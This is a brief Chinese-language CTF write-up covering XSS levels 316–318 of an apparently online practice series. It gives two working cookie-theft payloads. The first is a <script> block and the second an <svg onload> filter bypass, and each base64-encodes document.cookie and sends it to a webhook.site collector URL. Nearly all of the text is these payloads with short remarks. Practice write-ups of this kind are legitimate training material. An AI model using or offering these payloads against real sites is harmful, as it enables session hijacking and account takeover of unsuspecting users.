第316关-第321关

第316关

image.png
直接使用webhook
输入

1
2
3
4
<script>
  var img = new Image();
  img.src = "https://webhook.site/你的专属ID?cookie=" + btoa(document.cookie);
</script>

然后正常等就行，一般会刷新几轮刷出来
image.png

第317关

对script的绕过，换一个测试语句就好
<svg onload="new Image().src='https://webhook.site/你的专属ID?cookie=' + btoa(document.cookie)">

第318关

和前面一样的没啥好说